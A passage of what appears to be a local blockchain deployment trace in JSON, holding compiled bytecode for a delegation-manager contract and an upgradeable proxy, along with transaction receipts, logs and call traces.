05260409020805460ff191690558115613d295760005b613bf060a0880188615348565b9050811015613d23574360a16000613c0b60a08b018b615348565b85818110613c1b57613c1b6152db565b9050602002016020810190613c30919061499b565b6001600160a01b03168152602081019190915260400160002054613c5a60a08a0160808b016157cf565b63ffffffff16613c6a9190615753565b1115613c885760405162461bcd60e51b8152600401610ab59061587b565b613d1b613c98602089018961499b565b33613ca660a08b018b615348565b85818110613cb657613cb66152db565b9050602002016020810190613ccb919061499b565b613cd860c08c018c615348565b86818110613ce857613ce86152db565b905060200201358a8a87818110613d0157613d016152db565b9050602002016020810190613d16919061499b565b61430c565b600101613be3565b50614117565b336000908152609a60205260408120546001600160a01b0316905b613d5160a0890189615348565b9050811015614114574360a16000613d6c60a08c018c615348565b85818110613d7c57613d7c6152db565b9050602002016020810190613d91919061499b565b6001600160a01b03168152602081019190915260400160002054613dbb60a08b0160808c016157cf565b63ffffffff16613dcb9190615753565b1115613de95760405162461bcd60e51b8152600401610ab59061587b565b73beac0eeeeeeeeeeeeeeeeeeeeeeeeeeeeeebeac0613e0b60a08a018a615348565b83818110613e1b57613e1b6152db565b9050602002016020810190613e30919061499b565b6001600160a01b031603613f7f576000613e4d60208a018a61499b565b905060006001600160a01b037f0000000000000000000000002279b7a0a67db372996a5fab50d91eaa73d2ebe616630e81073c83613e8e60c08e018e615348565b87818110613e9e57613e9e6152db565b6040516001600160e01b031960e087901b1681526001600160a01b03909416600485015260200291909101356024830152506044016020604051808303816000875af1158015613ef2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190613f169190615605565b6001600160a01b038084166000908152609a6020526040902054919250168015613f7757613f778184613f4c60a08f018f615348565b88818110613f5c57613f5c6152db565b9050602002016020810190613f71919061499b565b856138ee565b50505061410c565b7f000000000000000000000000dc64a140aa3e981100a9beca4e685f962f0cf6c96001600160a01b031663c4623ea133898985818110613fc157613fc16152db565b9050602002016020810190613fd6919061499b565b613fe360a08d018d615348565b86818110613ff357613ff36152db565b9050602002016020810190614008919061499b565b61401560c08e018e615348565b87818110614025576140256152db565b60405160e088901b6001600160e01b03191681526001600160a01b03968716600482015294861660248601529290941660448401526020909102013560648201526084019050600060405180830381600087803b15801561408557600080fd5b505af1158015614099573d6000803e3d6000fd5b505050506001600160a01b0382161561410c5761410c82336140be60a08c018c615348565b858181106140ce576140ce6152db565b90506020020160208101906140e3919061499b565b6140f060c08d018d615348565b86818110614100576141006152db565b905060200201356138ee565b600101613d44565b50505b6040518181527fc97098c2f658800b4df29001527f7324bcdffcf6e8751a699ab920a1eced5b1d9060200160405180910390a1505050505050565b6001600160a01b0383163b1561426c57604051630b135d3f60e11b808252906001600160a01b03851690631626ba7e906141929086908690600401615903565b602060405180830381865afa1580156141af573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906141d39190615958565b6001600160e01b031916146110925760405162461bcd60e51b815260206004820152605360248201527f454950313237315369676e61747572655574696c732e636865636b5369676e6160448201527f747572655f454950313237313a2045524331323731207369676e6174757265206064820152721d995c9a599a58d85d1a5bdb8819985a5b1959606a1b608482015260a401610ab5565b826001600160a01b0316614280838361444c565b6001600160a01b0316146110925760405162461bcd60e51b815260206004820152604760248201527f454950313237315369676e61747572655574696c732e636865636b5369676e6160448201527f747572655f454950313237313a207369676e6174757265206e6f742066726f6d6064820152661039b4b3b732b960c91b608482015260a401610ab5565b73beac0eeeeeeeeeeeeeeeeeeeeeeeeeeeeeebeabf196001600160a01b038416016143b75760405162387b1360e81b81526001600160a01b037f0000000000000000000000002279b7a0a67db372996a5fab50d91eaa73d2ebe6169063387b13009061438090889088908790600401615779565b600060405180830381600087803b15801561439a57600080fd5b505af11580156143ae573d6000803e3d6000fd5b50505050614445565b60405163c608c7f360e01b81526001600160a01b03858116600483015284811660248301526044820184905282811660648301527f000000000000000000000000dc64a140aa3e981100a9beca4e685f962f0cf6c9169063c608c7f390608401600060405180830381600087803b15801561443157600080fd5b505af1158015611351573d6000803e3d6000fd5b5050505050565b600080600061445b8585614468565b915091506109be816144d6565b600080825160410361449e5760208301516040840151606085015160001a6144928782858561468c565b945094505050506144cf565b82516040036144c757602083015160408401516144bc868383614779565b9350935050506144cf565b506000905060025b9250929050565b60008160048111156144ea576144ea615982565b036144f25750565b600181600481111561450657614506615982565b036145535760405162461bcd60e51b815260206004820152601860248201527f45434453413a20696e76616c6964207369676e617475726500000000000000006044820152606401610ab5565b600281600481111561456757614567615982565b036145b45760405162461bcd60e51b815260206004820152601f60248201527f45434453413a20696e76616c6964207369676e6174757265206c656e677468006044820152606401610ab5565b60038160048111156145c8576145c8615982565b036146205760405162461bcd60e51b815260206004820152602260248201527f45434453413a20696e76616c6964207369676e6174757265202773272076616c604482015261756560f01b6064820152608401610ab5565b600481600481111561463457614634615982565b03610fdd5760405162461bcd60e51b815260206004820152602260248201527f45434453413a20696e76616c6964207369676e6174757265202776272076616c604482015261756560f01b6064820152608401610ab5565b6000807f7fffffffffffffffffffffffffffffff5d576e7357a4501ddfe92f46681b20a08311156146c35750600090506003614770565b8460ff16601b141580156146db57508460ff16601c14155b156146ec5750600090506004614770565b6040805160008082526020820180845289905260ff881692820192909252606081018690526080810185905260019060a0016020604051602081039080840390855afa158015614740573d6000803e3d6000fd5b5050604051601f1901519150506001600160a01b03811661476957600060019250925050614770565b9150600090505b94509492505050565b6000806001600160ff1b0383168161479660ff86901c601b615753565b90506147a48782888561468c565b935093505050935093915050565b60008083601f8401126147c457600080fd5b5081356001600160401b038111156147db57600080fd5b6020830191508360208260051b85010111156144cf57600080fd5b6000806020838503121561480957600080fd5b82356001600160401b0381111561481f57600080fd5b61482b858286016147b2565b90969095509350505050565b6001600160a01b0381168114610fdd57600080fd5b803561485781614837565b919050565b600080600080600060a0868803121561487457600080fd5b853561487f81614837565b9450602086013561488f81614837565b9350604086013561489f81614837565b94979396509394606081013594506080013592915050565b602080825282518282018190526000918401906040840190835b81811015610ddd5783518352602093840193909201916001016148d1565b60006060828403121561490157600080fd5b50919050565b60008083601f84011261491957600080fd5b5081356001600160401b0381111561493057600080fd5b6020830191508360208285010111156144cf57600080fd5b60008060006080848603121561495d57600080fd5b61496785856148ef565b925060608401356001600160401b0381111561498257600080fd5b61498e86828701614907565b9497909650939450505050565b6000602082840312156149ad57600080fd5b81356149b881614837565b9392505050565b6000806000606084860312156149d457600080fd5b83356149df81614837565b925060208401356149ef81614837565b929592945050506040919091013590565b600060208284031215614a1257600080fd5b5035919050565b60008060008060408587031215614a2f57600080fd5b84356001600160401b03811115614a4557600080fd5b614a51878288016147b2565b90955093505060208501356001600160401b03811115614a7057600080fd5b614a7c878288016147b2565b95989497509550505050565b60008060008060008060008060c0898b031215614aa457600080fd5b8835614aaf81614837565b97506020890135614abf81614837565b9650604089013595506060890135945060808901356001600160401b03811115614ae857600080fd5b614af48b828c016147b2565b90955093505060a08901356001600160401b03811115614b1357600080fd5b614b1f8b828c016147b2565b999c989b5096995094979396929594505050565b6000806000806000806000806080898b031215614b4f57600080fd5b88356001600160401b03811115614b6557600080fd5b614b718b828c016147b2565b90995097505060208901356001600160401b03811115614b9057600080fd5b614b9c8b828c016147b2565b90975095505060408901356001600160401b03811115614bbb57600080fd5b614bc78b828c016147b2565b90955093505060608901356001600160401b03811115614b1357600080fd5b634e487b7160e01b600052604160045260246000fd5b60405160e081016001600160401b0381118282101715614c1e57614c1e614be6565b60405290565b604080519081016001600160401b0381118282101715614c1e57614c1e614be6565b604051601f8201601f191681016001600160401b0381118282101715614c6e57614c6e614be6565b604052919050565b63ffffffff81168114610fdd57600080fd5b803561485781614c76565b60006001600160401b03821115614cac57614cac614be6565b5060051b60200190565b600082601f830112614cc757600080fd5b8135614cda614cd582614c93565b614c46565b8082825260208201915060208360051b860101925085831115614cfc57600080fd5b602085015b83811015614d22578035614d1481614837565b835260209283019201614d01565b5095945050505050565b600082601f830112614d3d57600080fd5b8135614d4b614cd582614c93565b8082825260208201915060208360051b860101925085831115614d6d57600080fd5b602085015b83811015614d22578035835260209283019201614d72565b600060e08284031215614d9c57600080fd5b614da4614bfc565b9050614daf8261484c565b8152614dbd6020830161484c565b6020820152614dce6040830161484c565b604082015260608281013590820152614de960808301614c88565b608082015260a08201356001600160401b03811115614e0757600080fd5b614e1384828501614cb6565b60a08301525060c08201356001600160401b03811115614e3257600080fd5b614e3e84828501614d2c565b60c08301525092915050565b600060208284031215614e5c57600080fd5b81356001600160401b03811115614e7257600080fd5b614e7e84828501614d8a565b949350505050565b600060208284031215614e9857600080fd5b813560ff811681146149b857600080fd5b8015158114610fdd57600080fd5b600080600080600060808688031215614ecf57600080fd5b85356001600160401b03811115614ee557600080fd5b860160e08189031215614ef757600080fd5b945060208601356001600160401b03811115614f1257600080fd5b614f1e888289016147b2565b909550935050604086013591506060860135614f3981614ea9565b809150509295509295909350565b60008060408385031215614f5a57600080fd5b8235614f6581614837565b91506020830135614f7581614837565b809150509250929050565b600060408284031215614f9257600080fd5b614f9a614c24565b905081356001600160401b03811115614fb257600080fd5b8201601f81018413614fc357600080fd5b80356001600160401b03811115614fdc57614fdc614be6565b614fef601f8201601f1916602001614c46565b81815285602083850101111561500457600080fd5b81602084016020830137600060209282018301528352928301359282019290925292915050565b600080600080600060a0868803121561504357600080fd5b853561504e81614837565b9450602086013561505e81614837565b935060408601356001600160401b0381111561507957600080fd5b61508588828901614f80565b93505060608601356001600160401b038111156150a157600080fd5b6150ad88828901614f80565b95989497509295608001359392505050565b600080604083850312156150d257600080fd5b82356150dd81614837565b915060208301356001600160401b038111156150f857600080fd5b61510485828601614cb6565b9150509250929050565b600081518084526020840193506020830160005b82811015615140578151865260209586019590910190600101615122565b5093949350505050565b6020815260006149b8602083018461510e565b6000806020838503121561517057600080fd5b82356001600160401b0381111561518657600080fd5b61482b85828601614907565b600080604083850312156151a557600080fd5b82356151b081614837565b946020939093013593505050565b600080600080608085870312156151d457600080fd5b84356151df81614837565b93506020850135925060408501356151f681614837565b9396929550929360600135925050565b600081518084526020840193506020830160005b828110156151405781516001600160a01b031686526020958601959091019060010161521a565b6040815260006152546040830185615206565b828103602084015261120f818561510e565b60008060006060848603121561527b57600080fd5b833561528681614837565b925060208401356001600160401b038111156152a157600080fd5b6152ad86828701614f80565b93969395505050506040919091013590565b6000606082840312156152d157600080fd5b6149b883836148ef565b634e487b7160e01b600052603260045260246000fd5b60208082526019908201527f5061757361626c653a20696e6465782069732070617573656400000000000000604082015260600190565b60008235605e1983360301811261533e57600080fd5b9190910192915050565b6000808335601e1984360301811261535f57600080fd5b8301803591506001600160401b0382111561537957600080fd5b6020019150600581901b36038213156144cf57600080fd5b6060810182356153a081614837565b6001600160a01b0316825260208301356153b981614837565b6001600160a01b0316602083015260408301356153d581614c76565b63ffffffff811660408401525092915050565b60208152816020820152818360408301376000818301604090810191909152601f909201601f19160101919050565b60006020828403121561542957600080fd5b81516149b881614837565b6020808252602a908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526939903ab73830bab9b2b960b11b606082015260800190565b60208082526037908201527f44656c65676174696f6e4d616e616765723a206f6e6c7953747261746567794d60408201527f616e616765724f72456967656e506f644d616e61676572000000000000000000606082015260800190565b6000602082840312156154ed57600080fd5b81516149b881614ea9565b60208082526028908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526739903830bab9b2b960c11b606082015260800190565b6000823560de1983360301811261533e57600080fd5b60006020828403121561556857600080fd5b81356149b881614ea9565b80516001600160a01b03908116835260208083015182169084015260408083015190911690830152606080820151908301526080808201516000916155bf9085018263ffffffff169052565b5060a082015160e060a08501526155d960e0850182615206565b905060c083015184820360c086015261120f828261510e565b6020815260006149b86020830184615573565b60006020828403121561561757600080fd5b5051919050565b600082601f83011261562f57600080fd5b815161563d614cd582614c93565b8082825260208201915060208360051b86010192508583111561565f57600080fd5b602085015b83811015614d22578051835260209283019201615664565b6000806040838503121561568f57600080fd5b82516001600160401b038111156156a557600080fd5b8301601f810185136156b657600080fd5b80516156c4614cd582614c93565b8082825260208201915060208360051b8501019250878311156156e657600080fd5b6020840193505b8284101561571157835161570081614837565b8252602093840193909101906156ed565b8095505050505060208301516001600160401b0381111561573157600080fd5b6151048582860161561e565b634e487b7160e01b600052601160045260246000fd5b808201808211156109c2576109c261573d565b818103818111156109c2576109c261573d565b6001600160a01b039384168152919092166020820152604081019190915260600190565b6000600182016157af576157af61573d565b5060010190565b828152604060208201526000614e7e6040830184615573565b6000602082840312156157e157600080fd5b81356149b881614c76565b80546001600160a01b0319166001600160a01b0392909216919091179055565b813561581781614837565b61582181836157ec565b5060018101602083013561583481614837565b61583e81836157ec565b50604083013561584d81614c76565b815463ffffffff60a01b191660a09190911b63ffffffff60a01b161790555050565b60006109c23683614d8a565b6020808252606e9082015260008051602061599983398151915260408201527f645769746864726177616c3a207769746864726177616c44656c6179426c6f6360608201527f6b7320706572696f6420686173206e6f74207965742070617373656420666f7260808201526d207468697320737472617465677960901b60a082015260c00190565b828152604060208201526000825180604084015260005b81811015615937576020818601810151606086840101520161591a565b506000606082850101526060601f19601f8301168401019150509392505050565b60006020828403121561596a57600080fd5b81516001600160e01b0319811681146149b857600080fd5b634e487b7160e01b600052602160045260246000fdfe44656c65676174696f6e4d616e616765722e5f636f6d706c6574655175657565a2646970667358221220cbe856cde7c5bcfd582d4b89705de7c9eaac9afdc5d0cafafaf46a903a95abd164736f6c634300081b0033","nonce":12,"gas_used":5054169},"receipt":{"type":"0x2","status":"0x1","cumulativeGasUsed":"0x4d1ed9","logs":[{"address":"0xa51c1fc2f0d1a1b8494ed1fe312d7c3a78ed91c0","topics":["0x7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb3847402498"],"data":"0x00000000000000000000000000000000000000000000000000000000000000ff"}],"logsBloom":"0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000480000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000040000000000000000000000000000000000000000000000000000000000000002000000000000000000000000400000000000"},"block_hash":"0x7eb9955e73be07f63fef905d294c917294787636411afeab3995d8e4fa1081f5","block_number":10},{"info":{"transaction_hash":"0xbd7d5d3864c8406f75b4c00be61882ed8ea14af686ec047a447f9a3e6248d2fd","transaction_index":1,"from":"0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266","to":null,"contract_address":"0x95401dc811bb5740090279ba06cfa8fcf6113778","traces":[{"parent":null,"children":[],"idx":0,"trace":{"depth":0,"success":true,"caller":"0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266","address":"0x95401dc811bb5740090279ba06cfa8fcf6113778","maybe_precompile":false,"selfdestruct_address":null,"selfdestruct_refund_target":null,"selfdestruct_transferred_value":null,"kind":"CREATE","value":"0x0","data":"0x608060405260405162000db238038062000db2833981016040819052620000269162000414565b828162000036828260006200004d565b50620000449050826200007f565b50505062000547565b6200005883620000f1565b600082511180620000665750805b156200007a5762000078838362000133565b505b505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f620000c160008051602062000d6b833981519152546001600160a01b031690565b604080516001600160a01b03928316815291841660208301520160405180910390a1620000ee8162000162565b50565b620000fc8162000200565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b60606200015b838360405180606001604052806027815260200162000d8b6027913962000297565b9392505050565b6001600160a01b038116620001cd5760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084015b60405180910390fd5b8060008051602062000d6b8339815191525b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b6200026f5760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b6064820152608401620001c4565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc620001df565b60606001600160a01b0384163b620003015760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b6064820152608401620001c4565b600080856001600160a01b0316856040516200031e9190620004f4565b600060405180830381855af49150503d80600081146200035b576040519150601f19603f3d011682016040523d82523d6000602084013e62000360565b606091505b509092509050620003738282866200037d565b9695505050505050565b606083156200038e5750816200015b565b8251156200039f5782518084602001fd5b8160405162461bcd60e51b8152600401620001c4919062000512565b80516001600160a01b0381168114620003d357600080fd5b919050565b634e487b7160e01b600052604160045260246000fd5b60005b838110156200040b578181015183820152602001620003f1565b50506000910152565b6000806000606084860312156200042a57600080fd5b6200043584620003bb565b92506200044560208501620003bb565b60408501519092506001600160401b03808211156200046357600080fd5b818601915086601f8301126200047857600080fd5b8151818111156200048d576200048d620003d8565b604051601f8201601f19908116603f01168101908382118183101715620004b857620004b8620003d8565b81604052828152896020848701011115620004d257600080fd5b620004e5836020830160208801620003ee565b80955050505050509250925092565b6000825162000508818460208701620003ee565b9190910192915050565b602081526000825180602084015262000533816040850160208701620003ee565b601f01601f19169190910160400192915050565b61081480620005576000396000f3fe60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100855780635c60da1b146100985780638f283970146100c9578063f851a440146100e95761005d565b3661005d5761005b6100fe565b005b61005b6100fe565b34801561007157600080fd5b5061005b6100803660046106a6565b610118565b61005b6100933660046106c1565b610155565b3480156100a457600080fd5b506100ad6101bc565b6040516001600160a01b03909116815260200160405180910390f35b3480156100d557600080fd5b5061005b6100e43660046106a6565b6101ed565b3480156100f557600080fd5b506100ad61020d565b61010661022e565b6101166101116102c3565b6102cd565b565b6101206102f1565b6001600160a01b0316330361014d5761014a81604051806020016040528060008152506000610324565b50565b61014a6100fe565b61015d6102f1565b6001600160a01b031633036101b4576101af8383838080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525060019250610324915050565b505050565b6101af6100fe565b60006101c66102f1565b6001600160a01b031633036101e2576101dd6102c3565b905090565b6101ea6100fe565b90565b6101f56102f1565b6001600160a01b0316330361014d5761014a8161034f565b60006102176102f1565b6001600160a01b031633036101e2576101dd6102f1565b6102366102f1565b6001600160a01b031633036101165760405162461bcd60e51b815260206004820152604260248201527f5472616e73706172656e745570677261646561626c6550726f78793a2061646d60448201527f696e2063616e6e6f742066616c6c6261636b20746f2070726f78792074617267606482015261195d60f21b608482015260a4015b60405180910390fd5b60006101dd6103a3565b3660008037600080366000845af43d6000803e8080156102ec573d6000f35b3d6000fd5b60007fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b546001600160a01b0316919050565b61032d836103cb565b60008251118061033a5750805b156101af57610349838361040b565b50505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6103786102f1565b604080516001600160a01b03928316815291841660208301520160405180910390a161014a81610437565b60007f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc610315565b6103d4816104e0565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b606061043083836040518060600160405280602781526020016107b860279139610574565b9392505050565b6001600160a01b03811661049c5760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084016102ba565b807fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b61054d5760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016102ba565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6104bf565b60606001600160a01b0384163b6105dc5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016102ba565b600080856001600160a01b0316856040516105f79190610768565b600060405180830381855af49150503d8060008114610632576040519150601f19603f3d011682016040523d82523d6000602084013e610637565b606091505b5091509150610647828286610651565b9695505050505050565b60608315610660575081610430565b8251156106705782518084602001fd5b8160405162461bcd60e51b81526004016102ba9190610784565b80356001600160a01b03811681146106a157600080fd5b919050565b6000602082840312156106b857600080fd5b6104308261068a565b6000806000604084860312156106d657600080fd5b6106df8461068a565b9250602084013567ffffffffffffffff808211156106fc57600080fd5b818601915086601f83011261071057600080fd5b81358181111561071f57600080fd5b87602082850101111561073157600080fd5b6020830194508093505050509250925092565b60005b8381101561075f578181015183820152602001610747565b50506000910152565b6000825161077a818460208701610744565b9190910192915050565b60208152600082518060208401526107a3816040850160208701610744565b601f01601f1916919091016040019291505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a26469706673582212206f42262012bb1d1a07475f68d95d58d18353d78d57c71d0a11845bbf297d596564736f6c63430008180033b53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c65640000000000000000000000009fe46736679d2d9a65f0992f2272de9f3c7fa6e00000000000000000000000009e545e3c0baab3e08cdfd552c960a1050f37304200000000000000000000000000000000000000000000000000000000000000600000000000000000000000000000000000000000000000000000000000000000","output":"0x60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100855780635c60da1b146100985780638f283970146100c9578063f851a440146100e95761005d565b3661005d5761005b6100fe565b005b61005b6100fe565b34801561007157600080fd5b5061005b6100803660046106a6565b610118565b61005b6100933660046106c1565b610155565b3480156100a457600080fd5b506100ad6101bc565b6040516001600160a01b03909116815260200160405180910390f35b3480156100d557600080fd5b5061005b6100e43660046106a6565b6101ed565b3480156100f557600080fd5b506100ad61020d565b61010661022e565b6101166101116102c3565b6102cd565b565b6101206102f1565b6001600160a01b0316330361014d5761014a81604051806020016040528060008152506000610324565b50565b61014a6100fe565b61015d6102f1565b6001600160a01b031633036101b4576101af8383838080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525060019250610324915050565b505050565b6101af6100fe565b60006101c66102f1565b6001600160a01b031633036101e2576101dd6102c3565b905090565b6101ea6100fe565b90565b6101f56102f1565b6001600160a01b0316330361014d5761014a8161034f565b60006102176102f1565b6001600160a01b031633036101e2576101dd6102f1565b6102366102f1565b6001600160a01b031633036101165760405162461bcd60e51b815260206004820152604260248201527f5472616e73706172656e745570677261646561626c6550726f78793a2061646d60448201527f696e2063616e6e6f742066616c6c6261636b20746f2070726f78792074617267606482015261195d60f21b608482015260a4015b60405180910390fd5b60006101dd6103a3565b3660008037600080366000845af43d6000803e8080156102ec573d6000f35b3d6000fd5b60007fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b546001600160a01b0316919050565b61032d836103cb565b60008251118061033a5750805b156101af57610349838361040b565b50505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6103786102f1565b604080516001600160a01b03928316815291841660208301520160405180910390a161014a81610437565b60007f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc610315565b6103d4816104e0565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b606061043083836040518060600160405280602781526020016107b860279139610574565b9392505050565b6001600160a01b03811661049c5760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084016102ba565b807fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b61054d5760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016102ba565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6104bf565b60606001600160a01b0384163b6105dc5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016102ba565b600080856001600160a01b0316856040516105f79190610768565b600060405180830381855af49150503d8060008114610632576040519150601f19603f3d011682016040523d82523d6000602084013e610637565b606091505b5091509150610647828286610651565b9695505050505050565b60608315610660575081610430565b8251156106705782518084602001fd5b8160405162461bcd60e51b81526004016102ba9190610784565b80356001600160a01b03811681146106a157600080fd5b919050565b6000602082840312156106b857600080fd5b6104308261068a565b6000806000604084860312156106d657600080fd5b6106df8461068a565b9250602084013567ffffffffffffffff808211156106fc57600080fd5b818601915086601f83011261071057600080fd5b81358181111561071f57600080fd5b87602082850101111561073157600080fd5b6020830194508093505050509250925092565b60005b8381101561075f578181015183820152602001610747565b50506000910152565b6000825161077a818460208701610744565b9190910192915050565b60208152600082518060208401526107a3816040850160208701610744565b601f01601f1916919091016040019291505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a26469706673582212206f42262012bb1d1a07475f68d95d58d18353d78d57c71d0a11845bbf297d596564736f6c63430008180033","gas_used":464703,"gas_limit":636293,"status":"Return","steps":[],"decoded":{"label":null,"return_data":null,"call_data":null}},"logs":[{"raw_log":{"topics":["0xbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b","0x0000000000000000000000009fe46736679d2d9a65f0992f2272de9f3c7fa6e0"],"data":"0x"},"decoded":{"name":null,"params":null},"position":0},{"raw_log":{"topics":["0x7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f"],"data":"0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000009e545e3c0baab3e08cdfd552c960a1050f373042"},"decoded":{"name":null,"params":null},"position":0}],"ordering":[{"Log":0},{"Log":1}]}],"exit":"Return","out":"0x60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100855780635c60da1b146100985780638f283970146100c9578063f851a440146100e95761005d565b3661005d5761005b6100fe565b005b61005b6100fe565b34801561007157600080fd5b5061005b6100803660046106a6565b610118565b61005b6100933660046106c1565b610155565b3480156100a457600080fd5b506100ad6101bc565b6040516001600160a01b03909116815260200160405180910390f35b3480156100d557600080fd5b5061005b6100e43660046106a6565b6101ed565b3480156100f557600080fd5b506100ad61020d565b61010661022e565b6101166101116102c3565b6102cd565b565b6101206102f1565b6001600160a01b0316330361014d5761014a81604051806020016040528060008152506000610324565b50565b61014a6100fe565b61015d6102f1565b6001600160a01b031633036101b4576101af8383838080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525060019250610324915050565b505050565b6101af6100fe565b60006101c66102f1565b6001600160a01b031633036101e2576101dd6102c3565b905090565b6101ea6100fe565b90565b6101f56102f1565b6001600160a01b0316330361014d5761014a8161034f565b60006102176102f1565b6001600160a01b031633036101e2576101dd6102f1565b6102366102f1565b6001600160a01b031633036101165760405162461bcd60e51b815260206004820152604260248201527f5472616e73706172656e745570677261646561626c6550726f78793a2061646d60448201527f696e2063616e6e6f742066616c6c6261636b20746f2070726f78792074617267606482015261195d60f21b608482015260a4015b60405180910390fd5b60006101dd6103a3565b3660008037600080366000845af43d6000803e8080156102ec573d6000f35b3d6000fd5b60007fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b546001600160a01b0316919050565b61032d836103cb565b60008251118061033a5750805b156101af57610349838361040b565b50505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6103786102f1565b604080516001600160a01b03928316815291841660208301520160405180910390a161014a81610437565b60007f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc610315565b6103d4816104e0565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b606061043083836040518060600160405280602781526020016107b860279139610574565b9392505050565b6001600160a01b03811661049c5760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084016102ba565b807fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b61054d5760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016102ba565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6104bf565b60606001600160a01b0384163b6105dc5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016102ba565b600080856001600160a01b0316856040516105f79190610768565b600060405180830381855af49150503d8060008114610632576040519150601f19603f3d011682016040523d82523d6000602084013e610637565b606091505b5091509150610647828286610651565b9695505050505050565b60608315610660575081610430565b8251156106705782518084602001fd5b8160405162461bcd60e51b81526004016102ba9190610784565b80356001600160a01b03811681146106a157600080fd5b919050565b6000602082840312156106b857600080fd5b6104308261068a565b6000806000604084860312156106d657600080fd5b6106df8461068a565b9250602084013567ffffffffffffffff808211156106fc57600080fd5b818601915086601f83011261071057600080fd5b81358181111561071f57600080fd5b87602082850101111561073157600080fd5b6020830194508093505050509250925092565b60005b8381101561075f578181015183820152602001610747565b50506000910152565b6000825161077a818460208701610744565b9190910192915050565b60208152600082518060208401526107a3816040850160208701610744565b601f01601f1916919091016040019291505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a26